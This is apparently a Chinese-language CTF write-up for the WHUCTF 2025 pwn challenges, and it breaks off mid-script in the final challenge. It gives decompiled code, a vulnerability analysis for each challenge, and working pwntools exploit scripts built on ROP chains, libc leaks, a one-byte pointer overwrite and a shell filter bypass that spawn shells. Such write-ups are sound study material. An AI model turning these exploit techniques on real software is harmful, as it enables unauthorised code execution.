Whuctf2025

ncc

nc + cat flag

eznote

int add()
{
int heapindex; // ebx
char nptr[8]; // [rsp+0h] [rbp-120h] BYREF
char s[8]; // [rsp+8h] [rbp-118h] BYREF
char src[264]; // [rsp+10h] [rbp-110h] BYREF

puts("add note function called");
puts("input your note index (0-9): ");
fgets(s, 8, stdin);
heapindex = atoi(s);
if ( (unsigned int)heapindex >= 0xA )
return puts("invalid index!");
if ( *((_QWORD *)&notes + heapindex) )
return puts("note already exists!");
puts("input your note size: ");
fgets(nptr, 8, stdin);
size = atoi(nptr);
if ( size <= 0 || size > 1024 )
return puts("invalid size!");
heapindex = heapindex;
*((_QWORD *)&notes + heapindex) = malloc(size);
if ( !*((_QWORD *)&notes + heapindex) )
return puts("memory allocation failed!");
puts("input your note content: ");
fgets(src, size, stdin);
strncpy(*((char **)&notes + heapindex), src, size);
return puts("note added successfully!");
}

src在栈上,size的fgets获得溢出长度,利用content的fgets可以覆盖返回地址并写ROP链,只需要获得libc地址就可以了

int view()
{
char s[8]; // [rsp+4h] [rbp-Ch] BYREF
int n9; // [rsp+Ch] [rbp-4h]

puts("view note function called");
puts("input your note index (0-9): ");
fgets(s, 8, stdin);
n9 = atoi(s);
if ( n9 <= 9 && *((_QWORD *)&notes + n9) )
return printf("note content: %p\n", *((const void **)&notes + n9));
else
return puts("invalid index or note does not exist!");
}

打印的是notes数组的内容,数组的内容存放着堆地址,notes存在bss段,关键是没限制n9是正数,可以访问notes地址前面的地址的内容

.bss:0000000000004040                                   public stderr@GLIBC_2_2_5
.bss:0000000000004040 ; FILE *stderr
.bss:0000000000004040 ?? ?? ?? ?? ?? ?? stderr@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000000598↑o
.bss:0000000000004040 ?? ?? ; initialize+30↑r
.bss:0000000000004040 ; Alternative name is 'stderr'
.bss:0000000000004040 ; Copy of shared data
.bss:0000000000004048 ?? completed_0 db ? ; DATA XREF: __do_global_dtors_aux+4↑r
.bss:0000000000004048 ; __do_global_dtors_aux+2C↑w
.bss:0000000000004049 ?? ?? ?? ?? ?? ??… align 20h
.bss:0000000000004060 public note_count
.bss:0000000000004060 ?? note_count db ? ;
.bss:0000000000004061 ?? db ? ;
.bss:0000000000004062 ?? db ? ;
.bss:0000000000004063 ?? db ? ;
.bss:0000000000004064 public size
.bss:0000000000004064 ; int size
.bss:0000000000004064 ?? ?? ?? ?? size dd ? ; DATA XREF: add+F4↑w
.bss:0000000000004064 ; add+FA↑r ...
.bss:0000000000004068 public heapindex
.bss:0000000000004068 ?? ?? ?? ?? heapindex dd ? ; DATA XREF: add+58↑w
.bss:0000000000004068 ; add+5E↑r ...
.bss:000000000000406C ?? ?? ?? ?? ?? ??… align 20h
.bss:0000000000004080 public notes
.bss:0000000000004080 ?? notes db ? ; ; DATA XREF: add+97↑o
.bss:0000000000004080 ; add+149↑o ...

输入特定负数可以访问0x4040,把_IO_2_1_stderr__地址给输出出来,就可以得到libc基址了,接下来构造ROP链就可以了

p=start()
p.recvuntil(b"your choice:")
p.sendline(str(4))
p.recvuntil(b"input your note index (0-9): \n")
p.sendline(str(-8))
p.recvuntil(b"note content: ")
addr_str = p.recvline().strip()
libc_base = int(addr_str, 16)-libc.sym["_IO_2_1_stderr_"]
log.success(hex(libc_base))
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi_addr=libc_base+0x10f78b
p.recvuntil(b"your choice:")
p.sendline(str(1))
p.recvuntil(b"input your note index (0-9): \n")
p.sendline(str(2))
p.recvuntil(b"input your note size: \n")
p.sendline(str(0x200))
p.recvuntil(b"input your note content: \n")
p.sendline(b"a"*0x118+p64(pop_rdi_addr+1)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr))
p.interactive()
#flag{e6795c60-1bd0-4639-841b-78e8fa57adb4}

magic

__int64 vuln()
{
_BYTE ptr[1280]; // [rsp+0h] [rbp-500h] BYREF

puts("Let me show you a magic trick.");
puts("Do you like stack overflow?");
fread(ptr, 1uLL, 0x50FuLL, stdin);
puts("What's your favorite number?");
magic_number = get_input_num();
puts("And now... for the magic moment!");
magic(ptr, 0LL, 0LL);
return (unsigned int)magic_number;
}

调试发现,在fread输入的第一个八字节会在返回是作为rdi参数,magic_number作为rax参数

.text:0000000000401280 BA 0F 05 00 00                    mov     edx, 50Fh       ; n

关键是这个50Fh很诡异,查询发现0F 05机器码代表的是syscall

控制返回地址到0x401281,magic_number为0x3b,fread的第一个8字节写入/bin/sh

p=start()
p.recvuntil(b"Do you like stack overflow?\n")
payload=b"/bin/sh\x00"+b"a"*0x4f8+p64(0x404518)+b"\x81\x12\x40\x00\x00\x00\x00"
p.send(payload)
p.recvuntil(b"What's your favorite number?\n")
p.sendline(str(59))
p.recvuntil(b"And now... for the magic moment!\n")
p.interactive()
#flag{245d131f-daf0-403a-89bc-264aeaaa489c}

ezshell

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
char *s2_1; // rbx
char *v4; // rax
char n41; // dl
__int64 i; // rax
char *v7; // rax
__int64 n255; // r14
size_t n_1; // r14
char n45; // dl
__int64 n6; // rax
char n47; // dl
__int64 j; // rax
char n41_1; // dl
__int64 k; // rax
char n53; // dl
__int64 m; // rax
const char *s2_3; // rsi
const char **v19; // rbx
__int64 n; // rax
int v21; // r14d
FILE *stream; // r14
int v23; // r14d
__pid_t v24; // eax
int v25; // eax
int v26; // r9d
char *s_2; // rdi
unsigned int seed; // eax
int v29; // eax
__int64 n60; // rcx
int *v31; // rdi
size_t n0xF; // rax
__int64 ii; // rax
__int64 n255_1; // r14
int v35; // [rsp+8h] [rbp-850h]
char *s2_2; // [rsp+30h] [rbp-828h]
_QWORD v37[7]; // [rsp+58h] [rbp-800h] BYREF
int n6584176; // [rsp+90h] [rbp-7C8h] BYREF
char ls[8]; // [rsp+98h] [rbp-7C0h] BYREF
char s2[16]; // [rsp+A0h] [rbp-7B8h] BYREF
char s1[32]; // [rsp+B0h] [rbp-7A8h] BYREF
char s1_1[32]; // [rsp+D0h] [rbp-788h] BYREF
char v43[32]; // [rsp+F0h] [rbp-768h] BYREF
char s[256]; // [rsp+110h] [rbp-748h] BYREF
_OWORD dest[16]; // [rsp+210h] [rbp-648h] BYREF
char s_1[16]; // [rsp+310h] [rbp-548h] BYREF
char v47; // [rsp+320h] [rbp-538h] BYREF
_OWORD buf[64]; // [rsp+410h] [rbp-448h] BYREF
unsigned __int64 v49; // [rsp+818h] [rbp-40h]

v49 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 1, 0LL);
s2_1 = s2;
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
signal(13, (__sighandler_t)((char *)&dword_0 + 1));
ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL);
time(0LL);
puts("========================================\n This is a ez console!\n========================================");
puts(
"I believe you can get the flag easily.\n"
"By the way, What you see is not what you get.\n"
"When all else fails, type help.\n"
"========================================");
while ( 1 )
{
while ( 1 )
{
memset(s, 0, sizeof(s));
putchar(36);
if ( fgets(s, 256, stdin) )
break;
__printf_chk(1LL, "error");
}
memset(buf, 0, sizeof(buf));
v4 = strchr(s, 10);
if ( v4 )
*v4 = 0;
if ( *(_DWORD *)s == 1886152040 && !s[4] )
{
buf[2] = _mm_load_si128((const __m128i *)&xmmword_21A0);
qmemcpy(buf, "Supported commands: pwd, whoami,", 32);
LOWORD(buf[4]) = 10;
buf[3] = _mm_load_si128((const __m128i *)&xmmword_21B0);
goto LABEL_12;
}
n41 = 41;
for ( i = 0LL; ; n41 = X_showKey[i] )
{
s2_1[i++] = n41 ^ 0x5A;
if ( i == 7 )
break;
}
s2[7] = 0;
if ( !strcmp(s, s2_1) )
{
v23 = time(0LL);
v24 = getpid();
srand(v23 ^ v24);
rand();
v25 = rand();
v26 = v25;
if ( (v25 & 1) == 0 )
{
v35 = v25;
rand();
v26 = v35;
}
__snprintf_chk(s_1, 256LL, 1LL, 256LL, "Key: %u\n", v26);
__strcpy_chk(buf, s_1, 1024LL);
}
else
{
if ( strchr(s, 38)
|| strstr(s, "||")
|| strchr(s, 59)
|| strchr(s, 62)
|| strchr(s, 60)
|| strchr(s, 124)
|| strchr(s, 36)
|| strchr(s, 96) )
{
LOBYTE(buf[1]) = 0;
buf[0] = _mm_load_si128((const __m128i *)&xmmword_21C0);
goto LABEL_12;
}
memset(dest, 0, sizeof(dest));
v7 = strchr(s, 32);
if ( v7 )
{
n255 = v7 - s;
if ( (unsigned __int64)(v7 - s) > 0xFF )
n255 = 255LL;
__strncpy_chk(dest, s, n255, 256LL);
*((_BYTE *)dest + n255) = 0;
}
else
{
strncpy((char *)dest, s, 0xFFuLL);
}
n_1 = strlen((const char *)dest);
if ( n_1 )
{
n45 = 45;
n6 = 0LL;
n6584176 = 6584176;
while ( 1 )
{
s1[n6++] = n45 ^ 0x5A;
if ( n6 == 6 )
break;
n45 = X_whoami[n6];
}
n47 = 47;
s1[6] = 0;
strcpy(ls, "ls");
for ( j = 0LL; ; n47 = X_uname[j] )
{
s1_1[j++] = n47 ^ 0x5A;
if ( j == 5 )
break;
}
s1_1[5] = 0;
n41_1 = 41;
for ( k = 0LL; ; n41_1 = X_showKey[k] )
{
v43[k++] = n41_1 ^ 0x5A;
if ( k == 7 )
break;
}
v43[7] = 0;
n53 = 53;
for ( m = 0LL; ; n53 = X_opendoor[m] )
{
s_1[m++] = n53 ^ 0x5A;
if ( m == 11 )
break;
}
s2_2 = s2_1;
s2_3 = (const char *)&n6584176;
v37[0] = s1;
v19 = (const char **)v37;
s_1[11] = 0;
v37[1] = ls;
v37[4] = s_1;
v37[2] = s1_1;
v37[5] = 0LL;
v37[3] = v43;
while ( strncmp((const char *)dest, s2_3, n_1) )
{
s2_3 = *v19++;
if ( !s2_3 )
{
s2_1 = s2_2;
LOBYTE(buf[1]) = 0;
buf[0] = _mm_load_si128((const __m128i *)&xmmword_21F0);
goto LABEL_12;
}
}
s2_1 = s2_2;
for ( n = 0LL; n != 11; ++n )
s1[n] = X_opendoor[n] ^ 0x5A;
s1[11] = 0;
v21 = strncmp(s1, (const char *)dest, n_1);
if ( v21 )
{
stream = popen(s, "re");
if ( !stream )
{
perror("popen failed");
exit(1);
}
while ( fgets(s_1, 256, stream) )
__strcat_chk(buf, s_1, 1024LL);
pclose(stream);
}
else
{
s_2 = strstr(s, "-k");
if ( s_2 && strlen(s_2) > 2 )
{
seed = time(0LL);
srand(seed);
v29 = rand();
__snprintf_chk(s1_1, 32LL, 1LL, 32LL, "%d", v29);
n60 = 60LL;
v31 = (int *)&v47;
*(_OWORD *)s_1 = 0LL;
while ( n60 )
{
*v31++ = v21;
--n60;
}
n0xF = strlen(s);
if ( n0xF > 0xF )
{
n255_1 = (int)n0xF - 15;
__strncpy_chk(s_1, &s[15], n255_1, 256LL);
s_1[n255_1] = 0;
}
if ( !strcmp(s1_1, s_1) )
{
for ( ii = 0LL; ii != 10; ++ii )
v43[ii] = X_catflagN[ii] ^ 0x21;
v43[10] = 0;
*(_QWORD *)s = 0LL;
snprintf(s, 8uLL, "%s", v43);
}
else
{
LODWORD(buf[1]) = 663916;
buf[0] = _mm_load_si128((const __m128i *)&xmmword_21E0);
}
}
else
{
strcpy((char *)buf, "please use openthedoor -k <key>. \n");
}
}
}
else
{
*(_QWORD *)&buf[1] = 0xA202E646E616DLL;
buf[0] = _mm_load_si128((const __m128i *)&xmmword_21D0);
}
}
LABEL_12:
__printf_chk(1LL, "%s", (const char *)buf);
}
}

这题的难点主要是逆向,大概意思是做了一个shell,但是只能通过符合名称的命令,但是

v7 = strchr(s, 32);
if ( v7 )
{
n255 = v7 - s;
if ( (unsigned __int64)(v7 - s) > 0xFF )
n255 = 255LL;
__strncpy_chk(dest, s, n255, 256LL);
*((_BYTE *)dest + n255) = 0;
}
else
{
strncpy((char *)dest, s, 0xFFuLL);
}

允许前缀绕过,也就是说openthedoor可以被o替代

关键是,允许的命令中有showKey,利用前缀绕过就可以将sh发送给shell

得到shell以后,发现cat flag没反应,但是其他命令的报错有显示,对比命令是第几项,可以看出来是成功运行了的

 ~/Whuctf/ezshell  ./pwn                                                                                                 
========================================
This is a ez console!
========================================
I believe you can get the flag easily.
By the way, What you see is not what you get.
When all else fails, type help.
========================================
$sh
cat /flag
123
sh: 2: 123: not found

将标准输出重定向为标准错误,就可以得到内容了(似乎sh /flag也可以)

 ~/Whuctf/ezshell  ./pwn                                                                                                 
========================================
This is a ez console!
========================================
I believe you can get the flag easily.
By the way, What you see is not what you get.
When all else fails, type help.
========================================
$sh
cat /flag
123
sh: 2: 123: not found
cat /flag >&2
your_flag_content
cat /flag 1>&2 &
your_flag_conten
 ~/Whuctf/ezshell  ./pwn                                                                                          
========================================
This is a ez console!
========================================
I believe you can get the flag easily.
By the way, What you see is not what you get.
When all else fails, type help.
========================================
$sh /flag
/flag: 1: your_flag_content: not found
[2] + 8854 death of child ./pwn

game

文件函数非常多,IDAFeeds恢复后找到函数入口,发现是IO_puts,后面紧随着libc_read,存在非常大的栈溢出空间

ROPgadget生成ROP链

ROPgadget --binary pwn --ropchain

得到的是这样的

- Step 5 -- Build the ROP chain

#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x000000000040faaf) # pop rsi ; ret
p += pack('<Q', 0x00000000005e4120) # @ .data
p += pack('<Q', 0x0000000000426a1a) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000041f555) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040faaf) # pop rsi ; ret
p += pack('<Q', 0x00000000005e4128) # @ .data + 8
p += pack('<Q', 0x0000000000514129) # xor rax, rax ; ret
p += pack('<Q', 0x000000000041f555) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040c6bc) # pop rdi ; ret
p += pack('<Q', 0x00000000005e4120) # @ .data
p += pack('<Q', 0x000000000040faaf) # pop rsi ; ret
p += pack('<Q', 0x00000000005e4128) # @ .data + 8
p += pack('<Q', 0x000000000053885b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000005e4128) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000514129) # xor rax, rax ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x000000000052a450) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004ac819) # syscall

发现没有让链对齐,add的过程出现问题,于是多加了一个八字节并且将add rax , 1改成了pop rax

io=start()
io.recvuntil(b"Input your name:")
p = b'a'*40
p += pack('<Q', 0x000000000040faaf) # pop rsi ; ret
p += pack('<Q', 0x00000000005e4120) # @ .data
p += pack('<Q', 0x0000000000426a1a) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000041f555) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040faaf) # pop rsi ; ret
p += pack('<Q', 0x00000000005e4128) # @ .data + 8
p += pack('<Q', 0x0000000000514129) # xor rax, rax ; ret
p += pack('<Q', 0x000000000041f555) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040c6bc) # pop rdi ; ret
p += pack('<Q', 0x00000000005e4120) # @ .data
p += pack('<Q', 0x000000000040faaf) # pop rsi ; ret
p += pack('<Q', 0x00000000005e4128) # @ .data + 8
p += pack('<Q', 0x000000000053885b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000005e4128) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000514129) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000426a1a) # pop rax
p += pack('<Q', 0x000000000000003b) # execve
p += pack('<Q', 0x00000000004ac819) # syscall
io.send(p)
io.interactive()

ezret2text

int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 n3_4; // rax
unsigned __int64 n3_3; // rax
unsigned __int64 n3_2; // rax
const char *v7; // rcx
unsigned __int64 n3; // rax
void *ptrd_1; // rax
int ptrc_1; // r9d
void (__fastcall **ptr)(_QWORD); // [rsp+0h] [rbp-48h]
_BYTE *ptra; // [rsp+0h] [rbp-48h]
const void **ptrb; // [rsp+0h] [rbp-48h]
int ptrc; // [rsp+0h] [rbp-48h]
void *ptrd; // [rsp+0h] [rbp-48h]
__int64 n3_5; // [rsp+8h] [rbp-40h]
__int64 ulong; // [rsp+8h] [rbp-40h]
__int64 n3_1; // [rsp+8h] [rbp-40h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x78u);
while ( 1 )
{
puts("\n=== Tiny Arena ===");
puts("1) create");
puts("2) show");
puts("3) poke (single-byte write)");
puts("4) release");
puts("5) exit");
switch ( read_long("> ") )
{
case 1LL:
n3 = read_long("slot idx (0-3): ");
if ( n3 > 3 )
goto LABEL_20;
if ( slots[(int)n3] )
{
puts("[-] occupied");
}
else
{
n3_1 = (int)n3;
ptrc = n3;
ptrd_1 = calloc(1uLL, 0x28uLL);
ptrc_1 = ptrc;
if ( !ptrd_1 )
exit(1);
ptrd = ptrd_1;
*((_QWORD *)ptrd_1 + 3) = peaceful_release;
*((_DWORD *)ptrd_1 + 8) = 100;
__snprintf_chk(ptrd_1, 24LL, 1LL, 24LL, "hero_%d", ptrc_1);
slots[n3_1] = ptrd;
__printf_chk(1LL, "[+] created @ %p\n", ptrd);
}
continue;
case 2LL:
n3_2 = read_long("slot idx (0-3): ");
if ( n3_2 > 3 )
goto LABEL_20;
v7 = (const char *)slots[(int)n3_2];
if ( !v7 )
goto LABEL_17;
ptrb = (const void **)slots[(int)n3_2];
__printf_chk(1LL, "name: %.*s\n", 24, v7);
__printf_chk(1LL, "hp: %d\n", *((_DWORD *)ptrb + 8));
__printf_chk(1LL, "on_release: %p\n", ptrb[3]);
break;
case 3LL:
n3_3 = read_long("slot idx (0-3): ");
if ( n3_3 > 3 )
goto LABEL_20;
ptra = (_BYTE *)slots[(int)n3_3];
if ( !ptra )
goto LABEL_17;
ulong = read_ulong("index: ");
ptra[ulong] = read_ulong("byte value (0-255 or 0x..): ");
puts("[+] wrote one byte.");
break;
case 4LL:
n3_4 = read_long("slot idx (0-3): ");
if ( n3_4 > 3 )
{
LABEL_20:
puts("[-] bad idx");
}
else
{
n3_5 = (int)n3_4;
ptr = (void (__fastcall **)(_QWORD))slots[(int)n3_4];
if ( ptr )
{
__printf_chk(1LL, "[*] Releasing slot %d ...\n", n3_4);
ptr[3](ptr);
free(ptr);
slots[n3_5] = 0LL;
puts("[*] Freed.");
}
else
{
LABEL_17:
puts("[-] empty");
}
}
break;
case 5LL:
puts("bye");
return 0;
default:
puts("???");
continue;
}
}
}

看起来非常吓唬人

调试看看

pwndbg> p &slots
$2 = (<data variable, no debug info> *) 0x61d4e6200060 <slots>
pwndbg> tele 0x61d4e6200060
00:0000│ 0x61d4e6200060 (slots) ◂— 0
01:0008│ 0x61d4e6200068 (slots+8) ◂— 0
02:0010│ 0x61d4e6200070 (slots+16) —▸ 0x61d4fb3fd2a0 ◂— 0x325f6f726568 /* 'hero_2' */
03:0018│ 0x61d4e6200078 (slots+24) ◂— 0
04:0020│ 0x61d4e6200080 (keep_win_addr) —▸ 0x61d4e61fd6f0 (win) ◂— endbr64
05:0028│ 0x61d4e6200088 ◂— 0xfff1000400000013
06:0030│ 0x61d4e6200090 ◂— 0
07:0038│ 0x61d4e6200098 ◂— 0
pwndbg> tele 0x61d4fb3fd2a0
00:0000│ 0x61d4fb3fd2a0 ◂— 0x325f6f726568 /* 'hero_2' */
01:0008│ 0x61d4fb3fd2a8 ◂— 0
02:0010│ 0x61d4fb3fd2b0 ◂— 0
03:0018│ 0x61d4fb3fd2b8 —▸ 0x61d4e61fd6e0 (peaceful_release) ◂— endbr64
04:0020│ 0x61d4fb3fd2c0 ◂— 0x64 /* 'd' */
05:0028│ 0x61d4fb3fd2c8 ◂— 0x20d41
06:0030│ 0x61d4fb3fd2d0 ◂— 0
07:0038│ 0x61d4fb3fd2d8 ◂— 0
pwndbg>

有一个全局数组存储有堆地址,并且有后门函数,这个堆里面有名字,还有一个函数地址,是释放堆是调用的

可以对堆内容进行修改,发现peaceful_release与win只有一字节的差别,并且没有现在修改的偏移,也就是说通过一字节的修改

将peaceful_release改成win,再释放对抗即可getshell

def create(idx):
p.recvuntil(b">")
p.send(str(1))
p.recvuntil(b"slot idx (0-3): ")
p.send(str(idx))
p.recvuntil(b"[+] created @ ")
addr_str = p.recvline().strip()
addr = int(addr_str, 16)
log.success(hex(addr))
return addr

def show(idx):
p.recvuntil(b">")
p.send(str(2))
p.recvuntil(b"slot idx (0-3): ")
p.send(str(idx))
p.recvuntil(b"on_release: ")
addr_str = p.recvline().strip()
addr = int(addr_str, 16)
log.success(hex(addr))
return addr

def edit(idx,index,content):
p.recvuntil(b">")
p.send(str(3))
p.recvuntil(b"slot idx (0-3): ")
p.send(str(idx))
p.recvuntil(b"index: ")
p.send(str(index))
p.recvuntil(b"byte value (0-255 or 0x..): ")
p.send(str(content))

def delete(idx):
p.recvuntil(b">")
p.send(str(4))
p.recvuntil(b"slot idx (0-3): ")
p.send(str(idx))

p=start()

addr2=create(2)
edit(2,24,0xf0)
delete(2)

p.interactive()
#flag{085f8f5d-7251-40ca-a4f7-4a3be1555193}

girlfriend

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int n4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
sub_1349(a1, a2, a3);
while ( 1 )
{
sub_179C();
__isoc99_scanf("%d", &n4);
getchar();
if ( n4 > 4 || n4 <= 0 )
break;
switch ( n4 )
{
case 4:
sub_1ADB();
puts("Looks like you're still in the dream.");
break;
case 3:
sub_1A33();
break;
case 1:
sub_1801();
break;
default:
sub_1903();
break;
}
}
puts("Hey, what are you doing?");
exit(1);
}
 ~/Whuctf/girlfriend  checksec pwn                                                                                         
[*] '/home/ubuntu/Whuctf/girlfriend/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled

保护几乎全开,只有Partial RELRO,很有概率GOT劫持,但是不知道劫持什么

先关了地址随机化进行调试

void sub_1A33()
{
char *s1; // [rsp+8h] [rbp-8h]

s1 = (char *)malloc(0x10uLL);
puts("It looks like your girlfriend doesn not want to talk to you.");
puts("Maybe you should add something special. Then she will tell you her name.");
sub_1615(s1 + 8, 8LL);
if ( !strncmp(s1, "iloveuiloveu", 0xCuLL) )
{
puts("she loves you as well.");
printf("%p", &unk_40B8);
}
free(s1);
}

只要s1与iloveuiloveu相同就可以得到elf基地址,在这个函数可以改后4个字节

还需要改前面8个字节

void sub_1801()
{
_BYTE *ptr; // [rsp+8h] [rbp-8h]

ptr = malloc(0x10uLL);
puts("If you don't want her to find out what you said, i can keep it a secret for you.");
sub_1615(ptr, 16LL);
if ( *ptr == 121 || *ptr == 89 )
{
puts("Ok, i will keep it.");
free(ptr);
puts("What do you want to say?");
sub_1615(ptr, 16LL);
puts("You said: ");
puts(ptr);
}
else
{
puts("What do you want to say?");
sub_1615(ptr, 16LL);
puts("You said: ");
puts(ptr);
puts("She doesn't care.");
free(ptr);
}
}

(输入一个能使*ptr=y的字符,不太清楚是y或者不是y的区别)可以在堆中写入字符,这里我们就可以输入iloveuiloveu的前8个字符

先调用sub_1801输入iloveuil,在调用sub_1A33输入oveu就可以得到elf基址了

当然这里也不是要求输入iloveuiloveu,因为有一个加密函数,异或加密可以解密,按他的加密逻辑写一个解密函数就可以了

观察到

unsigned __int64 sub_1903()
{
__int64 v1; // [rsp+8h] [rbp-18h] BYREF
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
v1 = 0LL;
ptr = malloc(0x10uLL);
if ( byte_40B0 != 1 )
{
puts("Get out of here!");
}
else
{
puts("Welcome to my flower shop.");
puts("You could order a flower for your girlfriend.");
puts("Do you want to order?");
sub_1615(ptr, 16LL);
if ( *(_BYTE *)ptr == 121 || *(_BYTE *)ptr == 89 )
{
puts("Where does she live?");
sub_1615(&v1, 8LL);
puts("What flower do you want to order for her?");
sub_1615(v1, 3LL);
puts("Welcome back!");
free(ptr);
byte_40B0 = 0;
}
else
{
puts("See you next time!");
}
}
return v3 - __readfsqword(0x28u);
}

可以实现任意地址写,虽然只能写3个字节

有了elf地址就有了got地址,又能实现任意写改部分地址,几乎可以肯定可以用got hijack

但是一开始没想到爆破一位地址,于是卡在了不知道改什么got

由于没有想到爆破,当然也只能改一些got表里还在elf上的函数

一开始想改的是__stack_chk_fail,改成leave retn,既可以跳过canary检查,又可以实现栈迁移

受Newstar的calc_queen的影响,rand()后rdi存着libc地址,于是我想尝试相同的做法,但是失败了

陷入了绝境,直到看见了提示——“远在天边,近在眼前”的“眼前”指的是 – 输出

输出函数中只有puts和printf

突然想起来puts(ptr)比printf(ptr)危害性差不少,可以利用格式化字符串漏洞同时泄露canary和栈上的__libc_start_main地址,进而得到libc基址

到了这一刻,就豁然开朗了

开了沙箱,orw解决;溢出字节少,栈迁移解决

dword_6100 = 0

def sub_14AA(a1, a2):
global dword_6100
return (a2 * a1) ^ (dword_6100 & 0xFF)

def sub_14D0(a2):
char_table = []
v11 = 0
for i in range(26):
if v11 < a2:
char_table.append(chr(i + 65)) # A-Z
v11 += 1
for i in range(26):
if v11 < a2:
char_table.append(chr(i + 97)) # a-z
v11 += 1
for i in range(10):
if v11 < a2:
char_table.append(chr(i + 48)) # 0-9
v11 += 1
if v11 < a2:
char_table.append('+')
v11 += 1
if v11 < a2:
char_table.append('/')
v11 += 1
if v11 < a2:
char_table.append('=')
v11 += 1
while v11 < a2:
char_table.append(chr(v11 ^ 0x5A))
v11 += 1
return char_table

def decrypt_data(encrypted_data, length):
global dword_6100
char_table = sub_14D0(65)
decrypted_data = bytearray()
